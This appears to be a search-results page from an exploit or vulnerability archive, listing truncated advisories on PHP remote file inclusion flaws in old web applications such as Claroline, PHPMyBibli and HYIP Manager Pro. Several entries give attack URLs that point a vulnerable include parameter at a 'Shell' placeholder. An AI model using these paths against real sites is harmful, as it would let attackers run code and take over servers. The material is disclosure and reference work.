8828 matches found
Sphider Version 1.2.x (include_dir) file include
Sphider Version 1.2.x includedir remote file include script Vendor: http://cs.ioc.ee/ando/sphider/ Discovered by: IbnuSina found on index.php $includedir = "./include"; --- no patch here $languagedir = "./languages"; include "$includedir/indexheader.inc"; include "$includedir/conf.php"; include...
VirtuaNews.Pro.v1.0.3.Retail.+All.Plugins Remote file Include
VirtuaNews.Pro.v1.0.3.Retail.+All.Plugins Remote file Include DownloasScript: http://www.virtuanews.co.uk Affected Software .: VirtuaNews.Pro.v1.0.3.Retail.+All.Plugins Download..: http://www.virtuanews.co.uk Risk ..............: high Date .........: 25/4/2007 Found by ..........: s433donlylinux...
sunshop v4 >> RFI
vendor : turnkeywebtools.com by : s3rv3rhack3r [email protected] bugz: ++++++++++++++++++++ include/payment/payflowpro.php include $abspath."/include/payment/payflowpro/pfpro.class.php"; ++++++++++++++++++++ global.php requireonce $abspath."/libsecure.php"; ++++++++++++++++++++ libsecure.php inclu...
Immunity Canvas: PHPORACLE_INCLUDE
Name| phporacleinclude ---|--- CVE| CVE-2007-2340 Exploit Pack| CANVAS Description| phporacle remote file include Notes| CVE Name: CVE-2007-2340 VENDOR: webxadmin.free.fr Repeatability: Infinite References: http://milw0rm.com/exploits/3803 CVE Url:...
burnCMS <= 0.2 (root) Remote File Inclusion Vulnerabilities
Exploit for unknown platform in category web applications =========================================================== burnCMS = 0.2 root Remote File Inclusion Vulnerabilities =========================================================== burnCMS = 0.2rootRemote File Include Vulnerablities D.Script:...
CVE-2007-2236
footer.php in PunBB 1.2.14 and earlier allows remote attackers to include local files in include/user/ via a cross-site scripting XSS attack, or via the puninclude tag, as demonstrated by use of adminoptions.php to execute PHP code from an uploaded avatar file...
HYIP Manager Pro - Multiple Remote File Inclusions
HYIP Manager Pro - Multiple Remote File Inclusions source: https://www.securityfocus.com/bid/23663/info HYIP Manager Pro is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data. Exploiting these issues may allow an attacker to compromi...
HYIP Manager Pro Script >> Remote file Include
vendor : www.goldcoders.com BY : www.hackerz.ir userz,ali filez ---- inc/libs/Smarty.class.php inc/libs/SmartyCompiler.class.php inc/libs/core/core.displaydebugconsole.php inc/libs/core/core.loadplugins.php inc/libs/core/core.loadresourceplugin.php inc/libs/core/core.processcachedinserts.php...
Ahhp Portal - 'page.php' Multiple Remote File Inclusions
source: https://www.securityfocus.com/bid/23658/info Ahhp Portal is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data. Exploiting these issues may allow an attacker to compromise the application and the underlying system; other...
Ahhp Portal - page.php Multiple Remote File Inclusions
Ahhp Portal - page.php Multiple Remote File Inclusions source: https://www.securityfocus.com/bid/23658/info Ahhp Portal is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data. Exploiting these issues may allow an attacker to compromis...
Remote file inclusion
Multiple PHP remote file inclusion vulnerabilities in GPL PHP Board GPB unstable-2001.11.14-1 allow remote attackers to execute arbitrary PHP code via a URL in the rootpath parameter to 1 db.mysql.inc.php or 2 gpb.inc.php in include/, or the 3 theme parameter to themes/ubb/login.php...
Remote file inclusion
Multiple PHP remote file inclusion vulnerabilities in Supasite 1.23b allow remote attackers to execute arbitrary PHP code via a URL in the supadbpath parameter to 1 commonfunctions.php, 2 adminauthcookies.php, 3 adminmods.php, 4 adminnews.php, 5 admintopics.php, 6 adminusers.php, 7...
claroline-rfi.txt
claroline [email protected] Homepage: http://www.MoHaNdKo.cOm Exploit:Path/claroline/inc/lib/rootSys=Shell Greetz To: Tryag-Team & AsbMay's Group & Xp10 TeAm & CiTy GhOsTs TeAm Greetz To: mY Love Dr.hacker BiG seso...
pmb-rfi.txt
PHPMyBibli [email protected] Homepage: http://www.MoHaNdKo.cOm Exploit:Path/includes/init.inc.php?basepath=Shell Greetz To: Tryag-Team & AsbMay's Group & Xp10 TeAm & CiTy GhOsTs TeAm Greetz To: mY Love Dr.hacker BiG seso...
acvsws-rfi.txt
acvswsphp5v1.0 [email protected] Homepage: http://www.MoHaNdKo.cOm Exploit:Path/incACVS/SOAP/Transport.php?CheminInclude=Shell Greetz To: Tryag-Team & AsbMay's Group & Xp10 TeAm & CiTy GhOsTs TeAm Greetz To: aLL mY Friends...
acvsws_php5_v1.0 <= Multiple Remote File Include Vulnerablitiy
acvswsphp5v1.0 = Multiple Remote File Include Vulnerablitiy D.Script: http://www.acvsnet.net/DNN ACVS/Portals/0/Commun/WebServices/acvswsphp5v1.0release.zip/ Discovered by: MoHaNdKo-=-=- [email protected] Homepage: http://www.MoHaNdKo.cOm Exploit:Path/incACVS/SOAP/Transport.php?CheminInclude=She...
PHPMyBibli <= Multiple Remote File Include
PHPMyBibli = Multiple Remote File Include Vulnerablitiy D.Script: http://phpmybibli.sourceforge.net/PhpMyBibli-nightbuild.tar.gz Discovered by: MoHaNdKo-=-=- [email protected] Homepage: http://www.MoHaNdKo.cOm Exploit:Path/includes/init.inc.php?basepath=Shell Greetz To: Tryag-Team & AsbMay's Gro...
carbre-rfi.txt
c-arbre [email protected] Homepage: http://www.MoHaNdKo.cOm Exploit:Path/c-arbre/espaces/communiques/annotations.php?rootpath=Shell Greetz To: Tryag-Team & AsbMay's Group & Xp10 TeAm & CiTy GhOsTs TeAm...
claroline <= Multiple Remote File Include Vulnerablitiy
claroline = Multiple Remote File Include Vulnerablitiy D.Script: http://www.e-learningone.it/softwarefree/e-learning/claroline175.zip Discovered by: MoHaNdKo-=-=- [email protected] Homepage: http://www.MoHaNdKo.cOm Exploit:Path/claroline/inc/lib/rootSys=Shell Greetz To: Tryag-Team & AsbMay's Gro...
Post Revolution Remote File Inclusion
Post Revolution Remote File Inclusion Affected Software .: Post Revolution 6.6 / 7.0 Release Candidate 2 Download..: http://www.fabio.com.ar/postrev/ Risk ..............: high Date .........: 25/3/2007 Found by ..........: InyeXion Contact ...........: InyeXionatgmail.com Web .............:...